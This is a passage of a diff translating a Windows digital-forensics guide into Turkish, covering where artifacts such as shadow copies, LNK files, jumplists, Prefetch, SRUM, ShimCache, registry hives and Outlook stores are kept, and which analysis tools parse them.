`rifiuti-vista.exe` kullanın). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Hacim Gölgesi Kopyaları -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Gölge Kopyası, Microsoft Windows'ta yer alan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu, dosyalar kullanılırken bile mümkündür. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve isimleri aşağıdaki resimde gösterilen **UID'lerden** oluşur: ![](<../../../images/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı, bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir. ![](<../../../images/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +Kayıt defteri girişi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`, **yedeklenmeyecek** dosyaları ve anahtarları içerir: ![](<../../../images/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Kayıt defteri `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` ayrıca `Hacim Gölgesi Kopyaları` hakkında yapılandırma bilgilerini içerir. -### Office AutoSaved Files +### Ofis Otomatik Kaydedilen Dosyalar -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Ofis otomatik kaydedilen dosyalarını şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Shell Öğeleri -A shell item is an item that contains information about how to access another file. +Bir shell öğesi, başka bir dosyaya nasıl erişileceği hakkında bilgi içeren bir öğedir. -### Recent Documents (LNK) +### Son Belgeler (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows, kullanıcı bir dosyayı **açtığında, kullandığında veya oluşturduğunda** bu **kısayolları** **otomatik olarak** **oluşturur**: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` +- Ofis: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **mi** yoksa **bir klasör** **mü** olduğu gibi, **dosyanın MAC zamanları**, dosyanın saklandığı yerin **hacim bilgileri** ve **hedef dosyanın klasörü** hakkında bilgi **içerir**. Bu bilgiler, dosyalar silinirse kurtarmak için faydalı olabilir. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı** **zamanı** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın en son **kullanıldığı** **zamanı** gösterir. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz. -In this tools you will find **2 sets** of timestamps: +Bu araçta **2 set** zaman damgası bulacaksınız: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **İlk Set:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **İkinci Set:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +İlk zaman damgası seti, **dosyanın kendisine ait zaman damgalarını** referans alır. İkinci set, **bağlantılı dosyanın zaman damgalarını** referans alır. +Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile de alabilirsiniz. ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +Bu durumda, bilgiler bir CSV dosyası içinde kaydedilecektir. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Bunlar, her uygulama için belirtilen son dosyalardır. Her uygulamada erişebileceğiniz **bir uygulama tarafından kullanılan son dosyaların** listesidir. **Otomatik olarak veya özel olarak** oluşturulabilirler. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Otomatik olarak oluşturulan **jumplists**, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` içinde saklanır. Jumplists, `{id}.autmaticDestinations-ms` formatına göre adlandırılır; burada başlangıç ID'si uygulamanın ID'sidir. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulurlar (belki favori olarak işaretlenmiştir). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) kullanarak inceleyebilirsiniz. ![](<../../../images/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_JumplistExplorer tarafından sağlanan zaman damgalarının jumplist dosyasının kendisiyle ilgili olduğunu unutmayın_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Shellbags nedir öğrenmek için bu bağlantıyı takip edin.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USB'lerinin Kullanımı -It's possible to identify that a USB device was used thanks to the creation of: +Bir USB cihazının kullanıldığını belirlemek mümkündür, bunun için: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Windows Recent Klasörü +- Microsoft Office Recent Klasörü - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Bazı LNK dosyalarının orijinal yolu işaret etmek yerine WPDNSE klasörüne işaret ettiğini unutmayın: ![](<../../../images/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSE klasöründeki dosyalar, orijinal dosyaların bir kopyasıdır, bu nedenle PC'nin yeniden başlatılmasında hayatta kalmazlar ve GUID bir shellbag'den alınır. -### Registry Information +### Kayıt Bilgileri -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[USB bağlı cihazlar hakkında ilginç bilgileri hangi kayıt anahtarlarının içerdiğini öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information). ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +USB bağlantısının ne zaman gerçekleştiği hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın). ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) -### USB Detective +### USB Dedektifi -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) bir görüntüye bağlı USB cihazları hakkında bilgi almak için kullanılabilir. ![](<../../../images/image (483).png>) -### Plug and Play Cleanup +### Tak ve Çalıştır Temizleme -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +'Tak ve Çalıştır Temizleme' olarak bilinen planlı görev, esasen eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paket sürümünü koruma amacıyla belirtilmiş olmasına rağmen, çevrimiçi kaynaklar bunun 30 gün boyunca etkin olmayan sürücüleri de hedef aldığını önermektedir. Bu nedenle, son 30 günde bağlanmamış çıkarılabilir cihazların sürücüleri silinme riski altındadır. -The task is located at the following path: +Görev aşağıdaki yolda bulunmaktadır: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: +Görevin içeriğini gösteren bir ekran görüntüsü sağlanmıştır: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Görevin Ana Bileşenleri ve Ayarları:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Bu DLL, gerçek temizleme işlemini gerçekleştirir. +- **UseUnifiedSchedulingEngine**: `TRUE` olarak ayarlanmıştır, genel görev zamanlama motorunun kullanıldığını gösterir. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Görev Zamanlayıcı'nın, düzenli Otomatik bakım sırasında temizleme görevini aylık olarak başlatmasını yönlendirir. +- **Deadline ('P2M')**: Görev Zamanlayıcı'ya, görev iki ardışık ay boyunca başarısız olursa, acil Otomatik bakım sırasında görevi yürütmesini talimat verir. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar ve ardışık hatalar durumunda görevi yeniden denemek için önlemler içerir. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Daha fazla bilgi için kontrol edin:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## E-postalar -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +E-postalar **2 ilginç bölüm içerir: E-posta başlıkları ve içeriği**. **Başlıklarda** aşağıdaki gibi bilgiler bulabilirsiniz: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren mail sunucuları) +- **Ne zaman** e-posta gönderildi -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini bulabilirsiniz: ![](<../../../images/image (484).png>) -### Windows Mail App +### Windows Mail Uygulaması -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Bu uygulama, e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +E-postaların **meta verileri** ve **kişiler** **EDB veritabanı** içinde bulunabilir: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Uzantıyı** `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Exchange sunucuları veya Outlook istemcileri kullanıldığında bazı MAPI başlıkları olacaktır: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: E-postanın gönderildiği zaman sistemin zamanı +- `Mapi-Conversation-Index`: İletişim dizisinin çocuk mesajlarının sayısı ve her mesajın zaman damgası +- `Mapi-Entry-ID`: Mesaj tanımlayıcısı. +- `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgi (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofis dışında mı?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişi verileri ve takvim verileri, aşağıdaki konumda bir PST dosyasında saklanır: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +Kayıt yolu `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`, kullanılan dosyayı gösterir. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +PST dosyasını [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) aracıyla açabilirsiniz. ![](<../../../images/image (485).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OST Dosyaları -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya bir **Exchange** sunucusuyla yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum 50GB** boyutundadır ve PST dosyasıyla aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir. -### Retrieving Attachments +### Ekleri Kurtarma -Lost attachments might be recoverable from: +Kaybolan ekler şunlardan kurtarılabilir: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- **IE10 için**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- **IE11 ve üzeri için**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Thunderbird MBOX Dosyaları -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` konumundadır. -### Image Thumbnails +### Görüntü Küçültmeleri -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP ve 8-8.1**: Küçültme içeren bir klasöre erişmek, silinmiş olsa bile görüntü önizlemelerini saklayan bir `thumbs.db` dosyası oluşturur. +- **Windows 7/10**: `thumbs.db`, UNC yolu üzerinden erişildiğinde oluşturulur. +- **Windows Vista ve daha yeni**: Küçültme önizlemeleri, `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` içinde **thumbcache_xxx.db** adında dosyalarla merkezi olarak saklanır. [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) bu dosyaları görüntülemek için araçlardır. -### Windows Registry Information +### Windows Kayıt Bilgileri -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windows Kayıt Defteri, kapsamlı sistem ve kullanıcı etkinlik verilerini saklar ve aşağıdaki dosyalarda bulunur: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- Çeşitli `HKEY_LOCAL_MACHINE` alt anahtarları için `%windir%\System32\Config`. +- `HKEY_CURRENT_USER` için `%UserProfile%{User}\NTUSER.DAT`. +- Windows Vista ve sonraki sürümler, `HKEY_LOCAL_MACHINE` kayıt dosyalarını `%Windir%\System32\Config\RegBack\` içinde yedekler. +- Ayrıca, program yürütme bilgileri, Windows Vista ve Windows 2008 Server'dan itibaren `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` içinde saklanır. -### Tools +### Araçlar -Some tools are useful to analyze the registry files: +Kayıt dosyalarını analiz etmek için bazı araçlar faydalıdır: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Kayıt Defteri Düzenleyici**: Windows'ta yüklüdür. Mevcut oturumun Windows kayıt defterinde gezinmek için bir GUI'dir. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenizi ve GUI ile gezinmenizi sağlar. Ayrıca ilginç bilgiler içeren anahtarları vurgulayan Yer İmleri içerir. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defterinde gezinmenizi sağlayan bir GUI'ye sahiptir ve ayrıca yüklenen kayıt defterinde ilginç bilgileri vurgulayan eklentiler içerir. +- [**Windows Kayıt Kurtarma**](https://www.mitec.cz/wrr.html): Yüklenen kayıt defterinden önemli bilgileri çıkarmak için başka bir GUI uygulamasıdır. -### Recovering Deleted Element +### Silinen Elemanı Kurtarma -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerektiğinde kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür. -### Last Write Time +### Son Yazma Zamanı -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Her Anahtar-Değer, en son ne zaman değiştirildiğini gösteren bir **zaman damgası** içerir. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +**SAM** dosyası/hive, sistemin **kullanıcılar, gruplar ve kullanıcı parolası** hash'lerini içerir. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye **ihtiyacınız vardır**. -### Interesting entries in the Windows Registry +### Windows Kayıt Defterindeki İlginç Girişler {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Çalıştırılan Programlar -### Basic Windows Processes +### Temel Windows Süreçleri -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +[Bu yazıda](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) şüpheli davranışları tespit etmek için yaygın Windows süreçleri hakkında bilgi edinebilirsiniz. -### Windows Recent APPs +### Windows Son Uygulamaları -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +Kayıt defteri `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **çalıştırılan uygulama**, **son çalıştırma zamanı** ve **kaç kez** başlatıldığı hakkında bilgi içeren alt anahtarlar bulabilirsiniz. -### BAM (Background Activity Moderator) +### BAM (Arka Plan Etkinlik Modaratörü) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgi bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz. ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Önceden alma, bir bilgisayarın, bir kullanıcının **yakın gelecekte erişebileceği** içeriği görüntülemek için gerekli kaynakları sessizce **almayı** sağlamasına olanak tanıyan bir tekniktir, böylece kaynaklara daha hızlı erişilebilir. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windows önceden alma, **çalıştırılan programların önbelleklerini** oluşturarak daha hızlı yüklenmelerini sağlar. Bu önbellekler, `C:\Windows\Prefetch` yolunda `.pf` dosyaları olarak oluşturulur. XP/VISTA/WIN7'de 128 dosya ve Win8/Win10'da 1024 dosya sınırı vardır. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Dosya adı `{program_name}-{hash}.pf` olarak oluşturulur (hash, yürütülebilir dosyanın yolu ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın varlığı, **programın bir noktada çalıştırıldığını** gösterir. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +`C:\Windows\Prefetch\Layout.ini` dosyası, **önceden alınan dosyaların klasörlerinin adlarını** içerir. Bu dosya, **çalıştırma sayısı**, **çalıştırma tarihleri** ve program tarafından **açılan dosyalar** hakkında **bilgi** içerir. +Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) aracını kullanabilirsiniz: ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch**, prefetch ile aynı amaca sahiptir, **programları daha hızlı yüklemek** için neyin yükleneceğini tahmin eder. Ancak, prefetch hizmetinin yerini almaz.\ +Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturur. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulunabilir. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracı kullanarak erişebilirsiniz. ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**Sistem Kaynak Kullanım İzleyici** (SRUM) **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmıştır ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar. -It gives the following information: +Aşağıdaki bilgileri sağlar: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID ve Yol +- Süreci çalıştıran kullanıcı +- Gönderilen Bayt +- Alınan Bayt +- Ağ Arayüzü +- Bağlantı süresi +- Süreç süresi -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Bu bilgiler her 60 dakikada bir güncellenir. +Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracı kullanarak elde edebilirsiniz. ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**, ayrıca **ShimCache** olarak da bilinir, **Microsoft** tarafından uygulama uyumluluğu sorunlarını ele almak için geliştirilen **Uygulama Uyumluluk Veritabanı**nın bir parçasını oluşturur. Bu sistem bileşeni, aşağıdakiler de dahil olmak üzere çeşitli dosya meta verilerini kaydeder: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Dosyanın tam yolu +- Dosyanın boyutu +- **$Standard_Information** (SI) altında Son Değiştirilme zamanı +- ShimCache'in Son Güncellenme zamanı +- İşlem Çalıştırma Bayrağı -Such data is stored within the registry at specific locations based on the version of the operating system: +Bu tür veriler, işletim sisteminin sürümüne bağlı olarak kayıt defterinde belirli konumlarda saklanır: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- XP için, veriler `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` altında 96 giriş kapasitesi ile saklanır. +- Server 2003 için, ayrıca Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için, depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup, sırasıyla 512 ve 1024 giriş kapasitesine sahiptir. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** 